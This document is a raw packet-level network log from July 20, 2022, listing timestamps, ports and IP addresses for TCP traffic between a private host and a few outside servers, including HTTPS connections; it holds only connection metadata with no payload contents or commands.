Jul 20, 2022 10:32:53.702128887 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.702167988 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.702343941 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.702461958 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.702764034 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.702889919 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.702930927 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.702986956 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.703232050 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.703530073 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.703826904 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.704139948 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.704200983 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.758934021 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.758959055 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.759577036 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.759593964 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.759609938 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.760322094 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.760370970 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.760385990 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.760978937 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.761112928 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.761132956 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.761147976 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.761545897 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.761596918 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.761696100 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.761966944 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.762366056 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.762659073 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.762675047 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.762689114 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.763027906 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.763726950 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.763823986 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.818084002 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.818119049 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.818145037 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.818161011 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.818218946 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.818237066 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.818337917 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.818356037 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.818372011 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.818738937 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.818763971 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.818847895 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.818860054 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.819716930 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.819869041 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.820061922 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.820457935 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.820552111 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.874459028 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.874492884 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.874507904 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.874866009 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.875011921 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.875032902 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.875157118 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.875421047 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.875507116 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.875624895 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.876101971 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.876229048 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.876492977 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.876689911 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.877000093 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.877085924 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.931447029 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.931471109 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.931813002 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.931832075 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.931847095 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.931977034 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.932209015 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.932451010 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.932470083 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.932501078 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.932622910 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.932857990 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.932874918 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.933028936 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.933126926 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.933192968 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.933208942 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.933226109 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.933307886 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.933448076 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.933796883 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.933814049 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.933901072 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.933917999 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.941020012 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.996615887 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.996644974 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.996881962 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:54.049941063 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:54.050781965 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:54.116130114 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:54.285994053 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:54.623810053 CEST	49851	443	192.168.2.5	104.192.141.1
Jul 20, 2022 10:32:54.623857975 CEST	443	49851	104.192.141.1	192.168.2.5
Jul 20, 2022 10:32:54.623922110 CEST	49851	443	192.168.2.5	104.192.141.1
Jul 20, 2022 10:32:54.654742956 CEST	49851	443	192.168.2.5	104.192.141.1
Jul 20, 2022 10:32:54.654769897 CEST	443	49851	104.192.141.1	192.168.2.5
Jul 20, 2022 10:32:54.990011930 CEST	443	49851	104.192.141.1	192.168.2.5
Jul 20, 2022 10:32:54.990134954 CEST	49851	443	192.168.2.5	104.192.141.1
Jul 20, 2022 10:32:54.994734049 CEST	49851	443	192.168.2.5	104.192.141.1
Jul 20, 2022 10:32:54.994755983 CEST	443	49851	104.192.141.1	192.168.2.5
Jul 20, 2022 10:32:54.994992971 CEST	443	49851	104.192.141.1	192.168.2.5
Jul 20, 2022 10:32:55.114172935 CEST	49851	443	192.168.2.5	104.192.141.1
Jul 20, 2022 10:32:55.341825008 CEST	49851	443	192.168.2.5	104.192.141.1
Jul 20, 2022 10:32:55.384496927 CEST	443	49851	104.192.141.1	192.168.2.5
Jul 20, 2022 10:32:55.512098074 CEST	443	49851	104.192.141.1	192.168.2.5
Jul 20, 2022 10:32:55.512125969 CEST	443	49851	104.192.141.1	192.168.2.5
Jul 20, 2022 10:32:55.512192011 CEST	443	49851	104.192.141.1	192.168.2.5
Jul 20, 2022 10:32:55.512263060 CEST	49851	443	192.168.2.5	104.192.141.1
Jul 20, 2022 10:32:55.512310028 CEST	49851	443	192.168.2.5	104.192.141.1
Jul 20, 2022 10:32:55.513824940 CEST	49851	443	192.168.2.5	104.192.141.1
Jul 20, 2022 10:32:55.611442089 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:55.611491919 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:55.611588001 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:55.612049103 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:55.612061024 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.033864975 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.033993959 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.045865059 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.045888901 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.046154976 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.048132896 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.084500074 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.235616922 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.235696077 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.235714912 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.235796928 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.235832930 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.235852003 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.235897064 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.373729944 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.373756886 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.373795033 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.373836994 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.373863935 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.373892069 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.374070883 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.374092102 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.374126911 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.374138117 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.374171019 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.473678112 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.846952915 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.846976042 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847009897 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847021103 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847064972 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847199917 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.847228050 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847243071 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847299099 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.847300053 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847321987 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847348928 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847369909 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847393036 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.847412109 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847456932 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847472906 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847486973 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.847516060 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847539902 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847673893 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.847690105 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.847837925 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.985723972 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.985749006 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.985799074 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.985888958 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.985918999 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.985944033 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.985959053 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.985980988 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.985984087 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.986043930 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986063004 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.986090899 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986114025 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.986120939 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986150026 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986205101 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.986217976 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986248970 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986274004 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986294985 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.986304998 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986347914 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.986596107 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986654043 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986663103 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.986675024 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986690998 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986711979 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.986743927 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986764908 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.986776114 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986795902 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.986799955 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986829042 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986856937 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.986867905 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.986905098 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.987158060 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:56.987164021 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:56.987212896 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.124563932 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.124602079 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.124667883 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.124708891 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.124747992 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.124768972 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.125202894 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.125231981 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.125277042 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.125297070 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.125330925 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.125986099 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.126019955 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.126061916 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.126085043 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.126127005 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.126588106 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.126621008 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.126669884 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.126688957 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.126709938 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.127762079 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.127793074 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.127840996 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.127862930 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.127902031 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.128550053 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.128638029 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.128664017 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.128685951 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.128719091 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.262151003 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.262211084 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.262238979 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.262291908 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.262332916 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.262356043 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.262384892 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.262620926 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.262635946 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.262651920 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.262664080 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.262679100 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.262679100 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.262693882 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.262712955 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.262727022 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.262741089 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.262768984 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.262778997 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.263361931 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.263391018 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.263398886 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.263406992 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.263426065 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.263442993 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.263477087 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.264173985 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.264205933 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.264214039 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.264242887 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.264266014 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.264281988 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.265242100 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.265278101 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.265305996 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.265328884 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.265348911 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.265389919 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.265455008 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.265837908 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.265870094 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.265908957 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.265917063 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.265929937 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.265959978 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.399832010 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.400022984 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.400027990 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.400074005 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.400099039 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.400168896 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.400194883 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.400211096 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.400224924 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.400244951 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.400262117 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.400294065 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.408770084 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.408796072 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409008980 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.409019947 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409033060 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409060001 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409073114 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409081936 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.409084082 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409132004 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.409152985 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409225941 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409238100 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409262896 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409286022 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.409292936 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409312010 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409337997 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.409379959 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409409046 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409418106 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409437895 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.409449100 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409487009 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.409526110 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409562111 CEST	443	49852	54.231.132.65	192.168.2.5
Jul 20, 2022 10:32:57.409589052 CEST	49852	443	192.168.2.5	54.231.132.65
Jul 20, 2022 10:32:57.409605980 CEST	443	49852	54.231.132.65	192.168.2.5
